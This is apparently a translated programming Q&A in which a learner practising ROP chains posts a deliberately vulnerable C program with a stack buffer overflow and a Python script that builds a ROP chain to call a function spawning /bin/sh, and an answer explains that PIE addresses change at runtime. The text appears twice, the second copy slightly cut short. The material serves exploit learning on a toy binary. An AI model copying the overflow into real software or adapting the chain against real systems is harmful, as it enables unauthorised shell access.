带有 2 个函数参数的简单 ROP 链
Simple ROP chain with 2 arguments to the function
我正在练习 ROPchain,我有一个非常简单的程序,我无法成功调用 'vulnerable' 函数:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vuln(int a, int b) {
if (a == 0xdeadbeef && b == 231) {
system("/bin/sh[=10=]");
}
}
int main() {
char buf[32];
printf("Input: ");
fgets(buf, 256, stdin);
printf("Result: %s", buf);
return 0;
}
这是该二进制文件的 file
信息:
program: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=95e46dcb8715548e3435a24e862efdf1a84c01fd, for GNU/Linux 3.2.0, not stripped
我正在使用 ROPgadget 工具获取 pop rsi ; pop r15 ; ret
。这是我的利用:
import struct
junk = 'A' * 32
ebp = 'B' * 8
ret_adr = struct.pack('<Q', 0x0000555555555155) # vuln
pop_rsi = struct.pack('<Q', 0x0000000000001239) # pop rsi ; pop r15 ; ret
arg_1 = struct.pack('<Q', 0xdeadbeef) # first argument
arg_2 = struct.pack('<Q', 231) # second argument
print junk + ebp + pop_rsi + arg_2 + arg_1 + ret_adr
我这样调用二进制文件:
(python exploit.py; cat) | ./program
它随 Segmentation fault
消亡。
我也尝试更改参数的顺序,但仍然无法正常工作。我做错了什么?
P.S。如果该函数中只有 1 个参数并且当我使用 pop rdi; ret
.
时,它会完美运行
你有一个position independent executable,这意味着地址每次都会在运行时改变。您想要一个不是 PIE 的可执行文件,使用 -no-pie -fno-pie
编译,然后从调试器或仅使用 objdump
.
再次获取您想要的地址
我正在练习 ROPchain,我有一个非常简单的程序,我无法成功调用 'vulnerable' 函数:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vuln(int a, int b) {
if (a == 0xdeadbeef && b == 231) {
system("/bin/sh[=10=]");
}
}
int main() {
char buf[32];
printf("Input: ");
fgets(buf, 256, stdin);
printf("Result: %s", buf);
return 0;
}
这是该二进制文件的 file
信息:
program: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=95e46dcb8715548e3435a24e862efdf1a84c01fd, for GNU/Linux 3.2.0, not stripped
我正在使用 ROPgadget 工具获取 pop rsi ; pop r15 ; ret
。这是我的利用:
import struct
junk = 'A' * 32
ebp = 'B' * 8
ret_adr = struct.pack('<Q', 0x0000555555555155) # vuln
pop_rsi = struct.pack('<Q', 0x0000000000001239) # pop rsi ; pop r15 ; ret
arg_1 = struct.pack('<Q', 0xdeadbeef) # first argument
arg_2 = struct.pack('<Q', 231) # second argument
print junk + ebp + pop_rsi + arg_2 + arg_1 + ret_adr
我这样调用二进制文件:
(python exploit.py; cat) | ./program
它随 Segmentation fault
消亡。
我也尝试更改参数的顺序,但仍然无法正常工作。我做错了什么?
P.S。如果该函数中只有 1 个参数并且当我使用 pop rdi; ret
.
你有一个position independent executable,这意味着地址每次都会在运行时改变。您想要一个不是 PIE 的可执行文件,使用 -no-pie -fno-pie
编译,然后从调试器或仅使用 objdump
.